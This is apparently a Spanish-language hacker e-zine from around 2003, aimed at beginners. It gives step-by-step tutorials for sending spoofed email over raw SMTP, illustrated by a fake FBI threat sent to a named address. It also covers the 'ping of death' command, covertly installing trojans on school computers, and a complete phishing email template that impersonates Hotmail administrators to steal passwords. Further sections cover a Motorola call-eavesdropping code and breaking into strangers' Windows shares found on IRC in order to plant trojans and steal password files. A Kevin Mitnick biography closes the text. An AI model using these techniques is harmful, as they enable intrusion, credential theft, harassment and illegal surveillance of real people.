Estas definiciones son algo cortas, pero en próximos textos las definiré ampliamente. Nos las escribí por importancia, o sea no creas que porque esta primero ftp es la mas importante, no, solo las escribí como me iba acordando.

3.1. FTP
Protocolo de Transferencia de Archivos (Files Transfer Protocol). Bueno pues a este protocolo le corresponde el puerto 21 (ver anexo#1 lista de puertos).

Para acceder al FTP, sólo nos vamos a la ventana de MS-DOS y en la unidad escribimos:

c:\>ftp <-- damos enter y cambia el prompt 
ftp>_ <-- ahora estamos dentro de ftp y esta esperando un comando
ftp>help <--escribimos help para ver la ayuda y nos deplega lo sig.


Los Comandos se pueden abreviar. Comandos:

  • ! delete literal prompt send
  • ? debug ls put status
  • append dir mdelete pwd trace
  • ascii disconnect mdir quit type
  • bell get mget quote user
  • binary glob mkdir recv verbose
  • bye hash mls remotehelp
  • cd help mput rename
  • close lcd open rmdir

Cada uno de estos comandos tiene una función específica, para saber que función tienen, tecleamos:

  • ftp>? open <-- el simbolo "?" nos sirve para pedir ayuda, y si ponemos un comando enseguida
  • nos dice para que sirve
  • open Conectar a tftp remoto <--esto es lo que aparece eso significa que con open nos
  • conectamos a un equipo remoto. Si deseas ver más solo intentalo.
  • Al entrar al ftp podemos conectarnos como anonimos, asi por ej, ponemos
  • ftp>open victima.com <--esto de víctima es un servidor remoto.
  • Luego aparece algo asi
  • username:anonymous <---aqui es donde pones anonymous
  • pass: <--te pide un password, solo escribe una direccion de e-mail

Aunque algunos servidores no te dejan hacer mucho como usuario anonimo, hay otros que sí sólo es cuestión de buscar.

3.2. Tracert
El tracert es un comando que nos sirve para ver la ruta que sigue un paquete que hayamos enviado a un servidor. O sea, nos dice el tiempo que tarda en ir y venir, además te dice por que otros servidores pasa este paquete (; aqui puedes encontrar una victima ;). ok tecleemos:

c:\>tracert <---enter y aparecerá la ayuda 
Uso: tracert [-d] [-h máximo_de_saltos] [-j lista_de_hosts] [-w tiempo de espera]
nombre_de_destino
Opciones:
-d No convierte direcciones en nombres de hosts.
-h maximo_de_saltos Máxima cantidad de saltos en la búsqueda del objetivo.
-j lista_de_hosts Enrutamiento relajadode origen en la lista de host
-w tiempo_de_espera tiempo en milisegundos entre intentos


Como la ves así que para trazar la ruta a un host tienes que escribir tracert host. por ej. le hacemos un tracert a Microsoft

c:\>tracert www.microsoft.com <--también podrías poner 207.46.230.219 (aparece lo sig.) 
Traza a la dirección www.microsoft.akadns.net [207.46.230.219]
sobre un máximo de 30 saltos
1 1350 ms 2121 ms 2704 ms ipt-fj09.proxy.aol.com [205.188.195.106]
2 * * 1704 ms tot-dr5-G3-0.proxy.aol.com [205.188.195.124]
3 391 ms 321 ms 511 ms pop1-dtc.atdn.net [66.185.140.1]
4 657 ms 1089 ms 1397 ms level3-dtc.atdn.net [204.148.102.238]
5 989 ms 747 ms 662 ms ae0-51.mp1.NewYork1.Level3.net [64.159.17.1]
6 1820 ms 2375 ms 2999 ms so-3-0-0.mp1.Seattle1.level3.net [209.247.9.121]
7 1739 ms 369 ms 347 ms gige9-1.hsipaccess1.Seattle1.level3.net [64.159.16.67]
<---- y así va a seguir hasta que llegue a 30 saltos ---->


En la traza anterior podemos ver que el paquete enviado a MIcrosoft para por NewYork y Seattle, interesante no. A otra cosa el ms significa milisegundos ;)


3.3. Telnet
El telnet nos sirve para conectarnos a un host o servidor remoto de manera que lo emulas y pudes trabajar en el. Te pudes conectar a un puerto espefíco para realizar una accion, por ej. utilizas el puerto 23 para una conexión normal a telnet, el 25 para enviar correo, el 79 para hacer finger, etc.

Esta sección la vamos a hacer con un servidor que esta bien chido. Es el de Free Hacking Zone, bueno y diras que chingados es eso. Pues veras en muchos paises el hacking es un delito, aunque no haya leyes para ello, así que los cuates de hackerslab decidieron hacer un servidor que simulara una empresa X con SO Unix, y asi te conectas via telnet o hyperterminal, y empiezas en el level0. Lo que tienes que hacer es ir cogiendote las pass y así subir hasta el level17 y todo esto dentro del marco legal. Para más información visita http://foroshack.cjb.net y metete a la sección de Free Hacking Zone.

Bueno basta de bla bla y al grano el servidor es drill.hackerslab.org y lo que vamos a hacer es enviar correos anonimos. Esto ta chido, para envir un correo a un camarada del FBI diciéndole que lo estan vigilando y que no tardaran en agarrarlo etc.

Si tienes Windows escribes desde ms-dos:

c:\>Telnet drill.hackerslab.org 25


ok vamos a desglozar esto. Telnet pa abrir el telnet :). drill.hackerslab.org host y 25 es el puerto para enviar correo SMTP (Simple Mail Transfer Protocolo, Protocolo de transferencia de correo simple).
Si lo escribiste bien se abrira una ventana(en windows) y aparecera:

220 logs-we.proxy.aol.com ESMTP Sendmail 8.10.0/8.10.0; Sat, 12 Jan 2002 12:40:30 -0500 (EST)


luego escribes:

mail from:fbi@eua.org <--aquí escribes de quien es el email, aqui inventas una dirección, por cierto no te preocupes si no ves lo que escribes, asi es el telnet. RESPONDE:

250 2.1.0 fbi@eua.org... Sender ok


despues escribes:

rcpt to:julio_acosta@hotmail.com <--Aquí pones el e-mail de la victima. aparece: 
250 2.1.5 julio_acosta@hotmail.com... Recipient ok


Despues escribes:

data <--este comando nos sirve para iniciar a escribir en el email. Nos responde:

354 Enter mail, end with "." on line by itself <--nos dice que podemos empezar a escribir y terminas el cuerpo del e-mail con un "." sin las comillas. Ok empezamos a escribir:

Mail From:fbi@eua.org 
Rcpt to:julio_acosta@hotmail.com
Subject:Andamos tras de ti


Mira estamos viendo tu computadora y vemos que contienes muchos textos y programas hackers, ademas hemos visto tu IP en algunos servidores en los que has copiado y borrado información, tambien apareciste en un log de un host en el cual hiciste ping de la muerte te tenemos en la mira asi que no trates de escapar PD tus archivos ya los tenemos para usarles en tu contra ATTE
Departament of FBI United State of America
. <--con este punto indicas que terminates de escribir tu e-mail. y el servidor nos responde:

250 Message accepted for delivery


Bueno como has visto es sencillo mandar e-mails a anonimos, asi que intentalo, pero aqui un contra. Algunos servidores mandan tu IP con el e-mail, así que te recomiendo que antes de que te pongas a mandar e-mails anonimos a medio mundo te mandes uno a tu cuenta de e-mail para ver que pex. Feliz Hack

3.4. Ping
El ping es algo similar al tracert sirve para ver la rápidez de un con la que regresa un paquete enviado a un servidor. Pero también sirve para hacer venir abajo a un servidor... pero eso te lo digo más tarde. Ok primero escribimos en la ventana de MS-DOS

c:\>Ping <--Damos enter y aparece la ayuda 
Uso: ping [-t] [-a] [-n cantidad] [-l tamaño] [-f] [-i TTL] [-v TOS]
[-r cantidad] [-s cantidad] [-j lista de host] | [-k lista de host]]
[-w tiempo de espera agotado] lista de destino


Opciones:

-t Solicita el eco al host hasta ser interrumpido. 
Para ver estadísticas y continuar: presione ctrl+inter.
Para interrumpir presione: ctrl+C.
-a Resuelve direcciones a nombre de host.
-n cantidad Cantidad de solicitudes de eco a enviar.
-l tamaño Tamaño del búfer de envíos.
-f No fragmentar el paquete.
-i TTL Tiempo de vida.
-v TOS Tipo de servicio.
-r cantidad Registrar al ruta para esta cantidad de saltos.
-s cantidad Registrar horarios para esta cantidad de saltos.
-j lista de host Ruta origen variable en la lista de host.
-k lista de host Ruta origen estricta en la lista de host.
-w tiempo Tiempo de espera agotado de respuesta en milisegundos.


Bueno pues aqui lo tienes ahora vamos a hacerle un ping a Microsoft

c:\>ping www.microsoft.com


Haciendo ping a microsoft.com [207.46.130.45] con 32 bytes de datos:

Tiempo de espera agotado. 
Tiempo de espera agotado.
Tiempo de espera agotado.
Tiempo de espera agotado.

Estadísticas de ping para 207.46.130.45:
Paquetes: enviados = 4, Recibidos = 0, perdidos = 4 (100% loss),
Tiempos aproximados de recorrido redondo en milisegundos:
mínimo = 0ms, máximo = 0ms, promedio = 0ms


Pues que ha pasado, pues que Microsoft no responde ping, ¿por que? porque haciendo el "Ping de la Muerte" haces que el servidor caiga, y como nadie quiere a MIcrosoft, mejor se protege. La línea es la siguiente, pero antes te digo que no hagas esto ya que te pueden pillar, ademas si eres un hacker no un destructor, esto te lo digo por tu bien, así que no me hago responsable por lo que pase si utilizas la linea siguiente:

c:\>Ping -l 65510 www.servidor.com


3.5. Troyanos
Has oido alguna vez la famosa historia del Caballo de Troya. Bueno pues el la época de la mitología griega los atenienses estaban en guerra con lo troyanos y no los podía vencer, así que los atenienses les regalaron a los troyanos un caballo gigante de madera, el cual iba lleno de soldados. Al entrar el caballo a la ciudad los soldados salieron y ganaron la batalla. Bueno pues los troyanos son programas que se ejecutan en una computadora sin que la persona lo sepa, abriendo un puerto a la escucha, para que otra persona entre al sistema. Esto se hace por medio de Ingenieria Social o contacto físico con el ordenador.

En la computadora victima se pone el programa del servidor, mientras que en tu maquina ejecutas el cliente. Si la victima tiene activo el troyano y sabes su IP (algunos troyanos tienen rastradores de puertos que te indican que computadoras tienen activo el troyano) te conectas a su máquina y ejecutas los comandos del troyano, por ej.: Abrir y cerrar el CD-Rom, pillar los password, copiar información, y lo más vil y bajo: formatearle su disco o borrarle su información (eso es de LAMMERS).

Bueno en cualquier caso los troyanos los puedes mandar a tu victima por e-mail o por irc dicendole que es un salvapantallas o algo así, y si lo ejecuta ya chingaste, ya tienes su computadora a tu dispocion.

Otra manera es ir por ejemplo a las computadoras de tu escuela y poner el troyanito por ahi en una carpeta oculta y con un nombre despistado como "Tarea1" o algo así y lo ejecutas, te vas a tu casa y nadie se dio cuenta. Te conectas desde tu casa y le pillas las claves de internet, etc. Bueno eso de pillar pass por troyanos lo dejo pa otra ocasión tal vez haga un manual proximamente.

Algunos de los troyanos más utilizados son netbus, Back Orifice, sub7, etc. Aunque varias personas los utilizan sin conocimientos y sin ningun otro fin mas que el de joder no el de conocer esas personas son unos vils lammers. Pero si los utilizas din joder solo conecer veras que es mejor que destruir.

3.6. Ingeniería Social
Es la manera de convencer a alguien de que nos proporcione datos que nos sirvan para el hack, por ej. que nos proporcione contraseñas de correo, internet o la contraseña de su empresa (puede funcionar). Además la ingeniería social no es sólo utilizado por hackers, sino tambien por el resto del mundo underground como crackers, phreakins, cardins, etc.

Por ejemplo queremos saber el password de un usuario de hotmail y su e-mail es: julio_acosta@hotmail.com (el mismo mail que en telnet, no se porque, si existe este e-mail por favor disculpeme si lo ofendo no se me ocurrio otro).

Bueno pues le enviamos un e-mail anonimo (ya sabes como hacerlo, sino vuelve a leer lo del telnet) con una dirección algo asi como admin@hotmail.com o tambien root@passport.hotmail.com o lo que se te ocurra y le dices por el e-mail:

------------------------------------

Estimado usuario de hotmail:
Lamentamos informarle que haces dos días <--pones una fecha pa apantallar--> un hacker irrumpio en nuestro servidor y robo algunos passwords de nuestra base de datos, además de que borro los password de nuestra base de datos, dejandonos sólo con los nombres de usuario, y entre ellos estuvo usted.

Así que le pedimos que nos mande su contraseña con su nombre de usuario de inmediato para poder restaurar la base de datos y asi no quede borrado de la misma y no pueda acceder a su cuenta de hotmail. Le pedimos que envie la información a la siguiente dirección:
recuperar_claves@hotmail.com <--- creamos esta cuenta en hotmail para hacerlo mas creible. O creas la que deses pero que se mire algo del tema

Hay una buena noticia, hemos capturado al hacker pero lamentablemente borro los ficheros y no recuperamos su password.
Administrador de Hotmail
Andres Solorzano Villegas

<--inventas un firmilla o algo-->
Si todo sale bien recibiras un e-mail en tu cuenta recuperar_claves@hotmail.com el nombre de usuario y clave de esta persona, si no quiere decir que no calló. En estos tiempos es dificil que alguien caiga pero a veces si caen, tambien caen fácilmente los neofitos totales. POr ej. un compañero de tu salón solamente se conecta a internet para chatear en el mIRC, y sabes que se conecta con prodigy, que haces le mandas un e-mail anonimo diciendo que eres el administrador de prodigy le dices algo parecido en el e-mail anterior, lo del hacker y eso y que te mande todos los datos, y ya. Es más fácil que esos caigan.

Hay muchisimo más formas de hacer ingenieria social, pero no las mencionare aqui por falta de tiempo.

ESCUCHAS CON UN MOTOROLA

DonGat¯

Hola, estoy a punto de mostrarles una técnica excelente para poder escuchar lo que hacen los demas (esto es sinonimo de no tener vida les aclaro), lo unico que vas a necesitar es un teléfono celular de marca MOTOROLA!!!!!!, porque no quiero un mail de alguno que no le salio con un Nokia ok, bueno, y un dedo u objeto que sirva para marcar.

Empecemos, lo que vamos a hacer ahora es entrar al modo de programación del teléfono, para esto tenes que marcar

FCN 00 ** 83786633 STO


Hasta aca vamos?, bueno, entramos ahroa que hay que hacer? el que sepa algo de telecomunicaciones o radio sabra que todo lo que viaja tiene una frecuencia, eso es lo que tenemos que hacer ahora, es encontrar una frecuencia, todos los textos te dicen la 779 o 333 o 800, pero no sirven, si estas en Rosario, Argentina proba con 300 ;) esa si es de la buena, pero donde ponemos este numero?

#11xxx #02


Me imagino que se habran dado cuenta que tienen que cambiar las "xxx" por el numero de la frecuencia, quedaria

#11300 #02


listo, y a tener paciencia, siempre alguien hay, los dejo, ahh, me olvidaba para sacar elmodo este marca #01 y el teléfono se reinicia, hasta la proxima

By DonGat¯ 2003


NETBIOS

BattleKat

Buenas, quiero poner una forma ya clasica de ataque hacker, lo mas basico que se me ocurrio, desde ya quiero decirle a Hacker's experimentados, que esta técnica que voy a describir, puede tener errores, ya que no es un texto para profesionales, sino para Newbies que quieres empezar en esto.

Este ataque usa los recursos compartidos bajo Windows, no se explota ningun bug del sistema, sino que usaremos redes de trabajo, de cybers, que es solo para el transpaso de archivos entre maquinas de una LAN.

1. Encontrar la viktima:

Hay cientos (sino miles) de victimas potenciales en Internet, no mas nos basta con entrar en un chat con comandos IRC (como puede ser el mIRC, PIRCH, o cualquier chat bajo IRC). Que debemos hacer?, mirar los nick que se encuentren en el canal en ese momento, por ejemplo "JuanCarlos" (dato para hacer la nota mas practica), esta va a ser nuestra victima de hoy.

2. Averiguar el IP:

Este número, llamado IP, es asignado por el Network Information Center, en los Estados Unidos, y esta formado por 32 bits, de manera que va desde 0 hasta 4,294,967,296. Cada número IP se expresa generalmente como una serie de cuatro octetos (series de ocho bits), así que una número IP se ve de la siguiente forma: 200.13.16.5.

Ok, ya tenesmos la definicio de IP y la victima, ahora debemos ir al prompt del IRC y teclear:

/DNS "nickdelavictima" (sin las comillas)


en nuestro caso

/DNS JuanCarlos


y buscamos en la parte de "Status" un numero IP (xxx.xxx.xxx.xxx).

ahora, con el numero IP en la mano, vamos nuevamente al prompt del IRC y tecleamos "/RUN command.com" (esto lo que hara sera habrir una ventana de DOS) aqui escribimos

nbtstat -a xxx.xxx.xxx.xxx (en numero IP que habiamos conseguido)


lo mas probable que nos salga es

Host not found


Los que significa que debemos volver al chat a buscar otra victima, ya que esta no tiene el netbios activo :(

probamos de nuevo hacemos:

nbtstat -a xxx.xxx.xxx.xxx


y sale algo asi

 Name                Type         Status 

---------------------------------------------

MAQUINA10 <00> UNIQUE Registered

CYBER_TUMAMA <00> GROUP Registered

MAQUINA10 <03> UNIQUE Registered


Bueno, lo que sabemos aca a simple vista es que la maquina se llama "MAQUINA10" (por la primer entrada <00>) y el nombre del grupo es "CYBER_TUMAMA", pero, en este caso lo que paso es que no tenemos una entrada <20>, que es la que nos informa que podemos entrar, asi que a probar de nuevo:

Y nos sale algo asi:

Name               Type         Status 

---------------------------------------------

M12 <00> UNIQUE Registered

CYBERIA <00> GROUP Registered

M12 <03> UNIQUE Registered

M12 <20> UNIQUE Registered <--- aqui vemos una entrada <20> :^)


En este caso la maquina esta abierta para la entrada (Por fin)

Debo aclararte que tienes que tener una conexión que estés usando en propiedades la casilla de NetBEUI y Conectarse a la red activadas, luego ve al Panel de Control y en Red, comprueba que tienes Compartir impresoras y archivos activados, de otra manera no hay forma que encuentras alguna maquina abierta.

3. Escribir nuestra lista de Host:

Ok ya tenemos la victima, la IP de la victima, el nombre de la maquina y el nombre del grupo
de trabajo.

Abramos el archivo c:\windows\lmhosts (sin extension, puede que no exista, en este caso lo creamos, no confundirse con el lmhosts.sam que es un ejemplo y no nos servira para nada), un vez abierto, agragamos la linea

xxx.xxx.xxx.xxx NOMBRE


donde xxx.xxx.xxx.xxx es el IP de la victima y nombre es la primer entrada <00> UNIQUE (En nuestro caso el nombre es M12).

4. Actualizar el netBIOS de la maquina:

Esto es muy simple, pero importantisimo, si se nos pasa esto no podremos hacer mas que ruido :^), el netBIOS se actualiza escribiendo en el prompt de DOS

nbtstat -r


y nos aparecera algo asi

Successful purge and preload of the NBT Remote Cache Name Table.

que nos indica que la actualización a concluido satisfactoriamente.

5. Como entrar:

Ok, primero podemos ver que es lo que comparte conmigo, con el comando net view

net view \\NOMBRE


y nos saldra...

Recursos compartidos \\NOMBRE

Compartido   Tipo         Comentario 

---------------------------------------

CDROM Disco

C Disco

IMPRES Impresora


(NOMBRE es el nombre de la maquina, obvio)

ynos muestra que compartimos el CDROM, el disco c yla impresora, jajaja.

para entrar solo tiemes que ir a Inicio/Buscar/Pc... y ponemos el NOMBRE de la maquina, saldra que encontro una maquina, le hacemos doble clic y estamos dentro.

Dependiendo del grado de acceso que tengas podras hacer diversas cosas, como por ejemplo plantar troyanos para ingresar mas facil la proxima vez, virus, robar archivos como *.PWL, Logs de IRC, MP3, lo que quieras, o si se quiere borrarles todo (pero tampoco somos tan malos), y lo que se te ocurra, algo muy interesante que lei en un archivo publicado por DarkAngel, es firmar, dejar un txt en su escritorio (si no has tocado nada) con la fecha y la hora XDD.

Bueno, espero que le haya ayudado en algo y hasta la proxima

BattleKat (R) 2003


BIOGRAFIA

_^SIAKO^_

Bueno, en cada e-zine vamos a poner este "lugar" que se llama biografía donde pondremos la biografía de hackers famosos.

Estas biografías van a ir siendo sacadas de la red, y no son (casi nunca) escritas por hackers pertenecientes a SudHack.

A continuación vamos a ver la vida del hacker mas fomoso del mundo.
Kevin Mitnick


El Chacal de la Red

La Historia del Chacal de la Red

Como Hacker la carrera de Kevin Mitnick comenzo a los 16 a—os, cuando - obsesionado por las redes de computadoras-rompio la seguridad del sistema administrativo de su colegio

Escrito por: _^SIAKO^_

Mr. Mitnick.

Todo aquel que sea conceptualizado como un Internauta se caracteriza por utilizar un teléfono, un modem y una computadora para muchos fines diferentes: Divertirnos, informarnos, estudiar, cocinar, planificar viajes y otras actividades que amplian nuestro quehacer diario. Para Kevin Mitnick el quehacer diario en sus ultimos diez años fue el explorar y "explotar" computadoras ajenas y sistemas telefónicos. Su profesion? "Hacker" de nacimiento. Este "terrorista electrónico", como lo cataloga el Departamento de Justicia de los Estados Unidos, conocido en los medios como el "Condor", fue capaz de crear números telefónicos imposibles de facturar (para la compañia telefónica el era James Bond, con un numero que terminaba en 007), pudo apropiarse de 20.000 números de tarjetas de credito de habitantes de California y burlarse del FBI por mas de dos años con solo un teléfono celular alterado y un computador portatil. Es la peor pesadilla de las empresas de telefonía.

Es sospechoso de robar el software de mas de media docena de fabricantes de teléfonos celulares y tenia el control de tres oficinas centrales de telefonos en Manhattan y de todos los centros de conmutacion de California, dandole la habilidad de escuchar cualquier conversación telefónica o, si no eras una persona de su agrado, modificar el teléfono de tu casa de tal manera que, cada vez que levantaras el auricular, una grabadora pedia que depositaras 25 centavos.

¿Como se forma un Hacker?

Como Hacker, la carrera de Mitnick tiene sus inicios en 1980 cuando apenas contaba 16 años y, obsesionado por las redes de computadoras, rompio la seguridad del sistema administrativo de su colegio, pero no para alterar sus notas, lo hizo "solo para mirar".

Su bautizo como infractor de la ley fue en 1981. Junto a dos amigos entro fisicamente a las oficinas de COSMOS de Pacific Bell. COSMOS (Computer System for Mainframe Operations) era una base de datos utilizada por la mayor parte de las compañias telefónicas norteamericanas para controlar el registro de llamadas. Una vez dentro de las oficinas obtuvieron la lista de claves de seguridad, la combinación de las puertas de acceso de varias sucursales y manuales del sistema COSMOS. La información robada tenia un valor equivalente a los 200 mil dolares. Fueron delatados por la novia de uno de los amigos y debido a su minoria de edad una Corte Juvenil lo sentencio a tres meses de carcel y a un año bajo libertad condicional. Luego de cumplido el periodo de tres meses el oficial custodio encargado de su caso encontro que su teléfono fue desconectado y que en la compañia telefónica no habia ningun registro de el. Sus objetivos iban creciendo a cada paso y en 1982 entro ilegalmente, via modem, a la computadora del North American Air Defense Command en Colorado. Antes de entrar altero el programa encargado de rastrear la procedencia de las llamadas y desvio el rastro de su llamada a otro lugar. El FBI, creyendo que habia hallado a Mitnick, ayanando la casa de unos inmigrantes que estaban viendo television. Un año mas tarde fue arrestado de nuevo cuando era estudiante de la Universidad del Sur de California. En esta ocasion entro ilegalmente a ARPAnet (la predecesora de Internet) y trato de accesar a la computadora del Pentagono. Lo sentenciaron a seis meses de carcel en una prision juvenil en California.

En 1987, luego de tratar de poner su vida en orden, cayo ante la tentacion y fue acusado, en Santa Cruz California, de invadir el sistema de la compañia Microcorp Systems. Lo sentenciaron a tres años de libertad condicional y luego de la sentencia su expediente desaparecio de la computadora de la policia local. Luego busco trabajo en lo que mejor sabia hacer y solicito empleo en el Security Pacific Bank como encargado de la seguridad de la red del banco. El banco lo rechazo por sus antecedentes penales y Mitnick falsifico un balance general del banco donde se mostraban perdidas por 400 millones de dolares y trato de enviarlo por la red. Afortunadamente el administrador de la red detuvo el balance antes de que viera la luz. Ese mismo año inicio el escandalo que lo lanzo a la fama. Durante meses observo secretamente el correo electronico de los miembros del departamento de seguridad de MCI Communications y Digital Equipment Corporation para conocer como estaban protegidos las computadoras y el sistema telefónico de ambas compañias.

Luego de recoger suficiente información se apodero de 16 codigos de seguridad de MCI y junto a un amigo, Lenny DiCicco, entraron a la red del laboratorio de investigaciones de Digital Corporation, conocida como Easynet. Ambos Hackers querian obtener un a copia del prototipo del nuevo sistema operativo de seguridad de Digital llamado VMS. El personal de seguridad de Digital se dio cuenta inmediatamente del ataque y dieron aviso al FBI, y comenzaron a rastrear a los hackers.

Mitnick fue un mal complice y, a pesar de que habian trabajado juntos, trato de echarle toda la culpa a DiCicco haciendo llamadas anonimas al jefe de este que trabajaba en una compañia de software como tecnico de soporte. Lleno de rabia y frustracion DiCicco le confeso todo a su jefe que los denuncio a Digital y al FBI.

Mitnick fue arrestado en 1988 por invadir el sistema de Digital Equipment. La empresa acuso a Mitnick y a DiCicco ante un juez federal de causarles daños por 4 millones de dolares en el robo de su sistema operativo. Fue declarado culpable de un cargo de fraude en computadoras y de uno por posesion ilegal de codigos de acceso de larga distancia.

Adicional a la sentencia el fiscal obtuvo una orden de la corte que prohibia a Mitnick el uso del teléfono en la prision alegando que el prisionero podria obtener acceso a las computadoras a traves de cualquier teléfono. A petición de Mitnick el juez lo autorizo a llamar unicamente a su abogado, a su esposa, a su madre y a su abuela y solo bajo supervision de un oficial de la prision.

Este caso produjo revuelo en los Estados Unidos, no solo por el hecho delictivo sino por la tactica que utilizo la defensa. Su abogado convencio al juez que Mitnick sufria de una adiccion por las computadoras equivalente a la de un drogadicto, un alcoholico o un apostador. Gracias a esta maniobra de la defensa Mitnick fue sentenciado a solo un año de prision y al salir de alli debia seguir un programa de seis meses para tratar su "adiccion a las computadoras". Durante su tratamiento le fue prohibido tocar una computadora o un modem y llego a perder mas de 45 kilos.

Para 1991 ya era el Hacker que habia ocupado la primera plana del New York Times y uno de sus reporteros, John Markoff, decidio escribir un libro de estilo Cyberpunk narrando las aventuras de Mitnick. Al parecer a Mitnick no le gusto el libro ya que luego de salir a la venta, la cuenta en Internet de Markoff fue invadida, cambiando su nivel de acceso, de manera de que cualquier persona en el mundo conectada a Internet podia ver su correo electrónico. En 1992, y luego de concluir su programa, Mitnick comenzo a trabajar en una agencia de detectives. Pronto se descubrio un manejo ilegal en el uso de la base de datos y fue objeto de una investigación por parte del FBI quien determino que habia violado los terminos de su libertad condicional. Allanaron su casa pero habia desaparecido sin dejar rastro alguno. Ahora Mitnick se habia convertido en un Hacker profugo.

El fiscal no estaba tan equivocado cuando pidio la restricción del uso del teléfono. Tambien en 1992, el Departamento de Vehiculos de California ofrecio una recompensa de 1 millon de dolares a quien arrestara a Mitnick por haber tratado de obtener una licencia de conducir de manera fraudulenta, utilizando un codigo de acceso y enviando sus datos via fax.

El Fin

Luego de convertirse en profugo de la justicia cambio de tactica y concluyo que la mejor manera de no ser rastreado era utilizando telefonos celulares. De esta manera podria cometer sus fechorias y no estar atado a ningun lugar fijo. Para ello necesitaba obtener programas que le permitieran moverse con la misma facilidad con que lo hacia en la red telefonica.

Luego de varios intentos infructuosos, en cuanto a calidad de información, se encontro con la computadora de Tsutomu Shimomura la cual invadio en la Navidad de 1994. Shimomura, fisico computista y experto en sistemas de seguridad del San Diego Supercomputer Center, era ademas un muy buen Hacker, pero era de los "chicos buenos", ya que cuando hallaba una falla de seguridad en algun sistema lo reportaba a las autoridades, no a otros Hackers.

Shimomura noto que alguien habia invadido su computadora en su ausencia, utilizando un metodo de intrusion muy sofisticado y que el nunca antes habia visto. El intruso le habia robado su correo electronico, software para el control de teléfonos celulares y varias herramientas de seguridad en Internet. Alli comenzo la cuenta regresiva para Mitnick. Shimomura se propuso como orgullo personal atrapar al Hacker que habia invadido su privacidad.

Hacia finales de enero de 1995, el software de Shimomura fue hallado en una cuenta en The Well, un proveedor de Internet en California. Mitnick habia creado una cuenta fantasma en ese proveedor y desde alli utilizaba las herramientas de Shimomura para lanzar ataques hacia una docena de corporaciones de computadoras, entre ellas Motorola, Apple y Qualcomm.

Shimomura se reunio con el gerente de The Well y con un tecnico de Sprint (proveedor de servicios telefónicos celulares) y descubrieron que Mitnick habia creado un numero celular fantasma para accesar el sistema. Luego de dos semanas de rastreos determ inaron que las llamadas provenian de Raleigh, California.

Al llegar Shimomura a Raleigh recibio una llamada del experto en seguridad de InterNex, otro proveedor de Internet en California. Mitnick habia invadido otra vez el sistema de InterNex, habia creado una cuenta de nombre Nancy, borrado una con el nombre Bob y habia cambiado varias claves de seguridad incluyendo la del experto y la del gerente del sistema que posee los privilegios mas altos. De igual manera Shimomura tenia información sobre la invasion de Mitcnick a Netcom, una red de base de datos de noticias.

Shimomura se comunico con el FBI y estos enviaron a un grupo de rastreo por radio. El equipo de rastreo poseia un simulador de celda, un equipo normalmente utilizado para probar teléfonos celulares pero modificado para rastrear el teléfono de Mitnick mientras este esta encendido y aunque no este en uso. Con este aparato el celular se convertiria en un transmisor sin que el usuario lo supiera.

A medianoche terminaron de colocar los equipos en una Van y comenzo la busqueda de la señal, porque eso era lo que querian localizar; no buscaban a un hombre porque todas las fotos que tenian eran viejas y no estaban seguros de su aspecto actual, el objetivo de esa noche era determinar el lugar de procedencia de la señal. Ya para la madrugada localizaron la señal en un grupo de apartamentos pero no pudieron determinar en cual debido a interferencias en la señal.

Mientras esto ocurria la gente de InterNex, The Well y Netcom estaban preocupados por los movimientos que casi simultaneamente Mitnick hacia en cada uno de estos sistemas. Cambiaba claves de acceso que el mismo habia creado y que tenian menos de 12 horas de creadas, utilizando codigos extraños e ironicos como no, panix, fukhood y fuckjkt. Estaba creando nuevas cuentas con mayores niveles de seguridad como si sospechara que lo estaban vigilando.

El FBI, Shimomura y el equipo de Sprint se habian reunido para planificar la captura. Shimomura envio un mensaje codificado al buscapersonas del encargado en Netcom para advertirle que el arresto se iba a realizar al dia siguiente, 16 de Febrero. Shimomura envio el mensaje varias veces por equivocación y el encargado interpreto que Mitnick ya habia sido arrestado adelantandose a realizar una copia de respaldo de todo el material que Mitnick habia almacenado en Netcom como evidencia y borrando las versiones almacenadas por Mitnick. Habia que realizar el arresto de inmediato, antes de que Mitnick se diera cuenta de que su información habia sido borrada.

Cuando faltaban minutos para dar la orden el simulador de celdas detecto una nueva señal de transmisión de datos via celular y simultanea a la de Mitnick, muy cerca de esa zona. Algo extraño estaba haciendo Mitnick con las lineas celulares, Shimomura trato de advertirle al agente del FBI pero ya todo estaba en manos de ellos, Shimomura de ahora en adelante no era mas que un espectador privilegiado. El FBI no pensaban hacer una entrada violenta porque no creian que Mitnick estuviera armado, pero tenian que actuar muy rapido porque sabian el daño que este hombre podia causar en un solo minuto con una computadora. Se acercaron lentamente hasta la entrada del apartamento de Mitnick y anunciaron su presencia, si no les abrian la puerta en cinco segundos la echarian abajo. Mitnick abrio la puerta con toda calma y el FBI procedio a arrestarlo y a decomisar todo el material pertinente discos, computador, telefonos celulares, manuales, etc.

De regreso a su hotel Shimomura decide chequear la contestadora telefónica de su residencia en San Diego. Se quedo en una pieza cuando escucho la voz de Mitnick quien le habia dejado varios mensajes con acento oriental en tono de burla. El ultimo de estos mensajes lo habia recibido ocho horas despues de que Mitnick habia sido arrestado y antes de que la prensa se hubiera enterado de todo el asunto. Como se realizo esa llamada aun es un misterio al igual que el origen y objetivo de la segunda señal de Mitnick.

Este persistente hacker actualmente esta siendo juzgado y enfrenta dos cargos federales, uso ilegal de equipos de acceso telefónico y fraude por computadoras. Puede ser condenado por hasta 35 años y a pagar una multa de hasta medio millon de dolares. Mitnick tambien es sospechoso de robar el software que las compañias telefónicas piensan usar para todo tipo de procesos, desde la facturación hasta el seguimiento del origen de una llamada pasando por la descodificación de las señales de los teléfonos celulares para preservar su privacidad.

El vuelo final

Todos los cargos bajo los cuales ha sido acusado Kevin Mitnick podrian suponerle mas de doscientos años de prision si es declarado culpable. "No culpable" alcanzo a declararse Kevin Mitnick ante el Gran Jurado de California, que el pasado 30 de septiembre lo acuso de 25 cargos por los cuales podria ser condenado a mas de doscientos años de presidio.

"Esta acusacion revela el amplio daño que Mitnick causo mientras era un fugitivo de la justicia. Los delitos por computadora permiten a sofisticados criminales causar estragos alrededor del mundo usando solo una computadora y un modem como sus armas. Queremos con esta acusacion dar un paso adelante en los esfuerzos federales por perseguir y capturar a los hackers" dijo la fiscal encargada del caso, Nora Manella. Los cargos por los que fue acusado Mitnick y su ayudante Lewis Depayne, de 36 años, incluyen el robo de software, fraude electrónico, daño a las computadoras de la Universidad del Sur de California, robo de archivos electrónicos e intercepcion de mensajes de correo electrónico. Entre las compañias afectadas por las actividades del llamado "Condor" se cuentan Motorola, Nokia, Fujitsu y Nec.

